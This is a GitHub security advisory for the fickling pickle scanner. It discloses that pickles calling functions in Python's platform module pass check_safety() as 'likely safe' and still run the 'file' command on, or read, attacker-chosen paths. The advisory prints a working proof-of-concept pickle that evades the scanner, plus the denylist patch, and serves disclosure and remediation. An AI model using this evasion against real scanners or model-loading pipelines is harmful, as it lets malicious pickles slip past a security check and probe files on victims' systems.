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fickling's `platform` module subprocess invocation evades `check_safety()` with `LIKELY_SAFE`

Moderate severity GitHub Reviewed Published Mar 13, 2026 in trailofbits/fickling • Updated Mar 13, 2026

Package

pip fickling (pip)

Affected versions

<= 0.1.9

Patched versions

0.1.10

Description

Our assessment

We added platform to the blocklist of unsafe modules (trailofbits/fickling@351ed4d).

It was not possible to inject extra arguments to file without first monkey-patching platform._follow_symlinks with the pickle, as it always returns an absolute path. We independently hardened it with trailofbits/fickling@b9e690c to reduce the risk of obtaining direct module references while evading detection.

https://github.com/python/cpython/blob/6d1e9ceed3e70ebc39953f5ad4f20702ffa32119/Lib/platform.py#L687-L695

target = _follow_symlinks(target)
# "file" output is locale dependent: force the usage of the C locale
# to get deterministic behavior.
env = dict(os.environ, LC_ALL='C')
try:
    # -b: do not prepend filenames to output lines (brief mode)
    output = subprocess.check_output(['file', '-b', target],
                                     stderr=subprocess.DEVNULL,
                                     env=env)

Original report

Summary

A crafted pickle invoking platform._syscmd_file, platform.architecture, or platform.libc_ver passes check_safety() with Severity.LIKELY_SAFE and zero findings. During fickling.loads(), these functions invoke subprocess.check_output with attacker-controlled arguments or read arbitrary files from disk.

Clarification: The subprocess call uses a list argument (['file', '-b', target]), not shell=True, so the attacker controls the file path argument to the file command, not the command itself. The impact is subprocess invocation with attacker-controlled arguments and information disclosure (file type probing), not arbitrary command injection.

Affected versions

<= 0.1.9 (verified on upstream HEAD as of 2026-03-04)

Non-duplication check against published Fickling GHSAs

No published advisory covers platform module false-negative bypass. This follows the same structural pattern as GHSA-5hwf-rc88-82xm (missing modules in UNSAFE_IMPORTS) but covers a distinct set of functions.

Root cause

  1. platform not in UNSAFE_IMPORTS denylist.
  2. OvertlyBadEvals skips calls imported from stdlib modules.
  3. UnusedVariables heuristic neutralized by making call result appear used (SETITEMS path).

Reproduction (clean upstream)

from unittest.mock import patch
import fickling
import fickling.fickle as op
from fickling.fickle import Pickled
from fickling.analysis import check_safety

pickled = Pickled([
    op.Proto.create(4),
    op.ShortBinUnicode('platform'),
    op.ShortBinUnicode('_syscmd_file'),
    op.StackGlobal(),
    op.ShortBinUnicode('/etc/passwd'),
    op.TupleOne(),
    op.Reduce(),
    op.Memoize(),
    op.EmptyDict(),
    op.ShortBinUnicode('init'),
    op.ShortBinUnicode('x'),
    op.SetItem(),
    op.Mark(),
    op.ShortBinUnicode('trace'),
    op.BinGet(0),
    op.SetItems(),
    op.Stop(),
])

results = check_safety(pickled)
print(results.severity.name, len(results.results))  # LIKELY_SAFE 0

with patch('subprocess.check_output', return_value=b'ASCII text') as mock_sub:
    fickling.loads(pickled.dumps())
    print('subprocess called?', mock_sub.called)       # True
    print('args:', mock_sub.call_args[0])               # (['file', '-b', '/etc/passwd'],)

Additional affected functions (same pattern):

  • platform.architecture('/etc/passwd') — calls _syscmd_file internally
  • platform.libc_ver('/etc/passwd') — opens and reads arbitrary file contents

Minimal patch diff

--- a/fickling/fickle.py
+++ b/fickling/fickle.py
@@
+        "platform",

Validation after patch

  • Same PoC flips to LIKELY_OVERTLY_MALICIOUS
  • fickling.loads raises UnsafeFileError
  • subprocess.check_output is not called

Impact

  • False-negative verdict: check_safety() returns LIKELY_SAFE with zero findings for a pickle that invokes a subprocess with attacker-controlled arguments.
  • Subprocess invocation: platform._syscmd_file calls subprocess.check_output(['file', '-b', target]) where target is attacker-controlled. The file command reads file headers and returns type information, enabling file existence and type probing.
  • File read: platform.libc_ver opens and reads chunks of an attacker-specified file path.

References

@thomas-chauchefoin-tob thomas-chauchefoin-tob published to trailofbits/fickling Mar 13, 2026
Published to the GitHub Advisory Database Mar 13, 2026
Reviewed Mar 13, 2026
Last updated Mar 13, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

EPSS score

Weaknesses

Incomplete List of Disallowed Inputs

The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-5cxw-w2xg-2m8h

Source code

Credits

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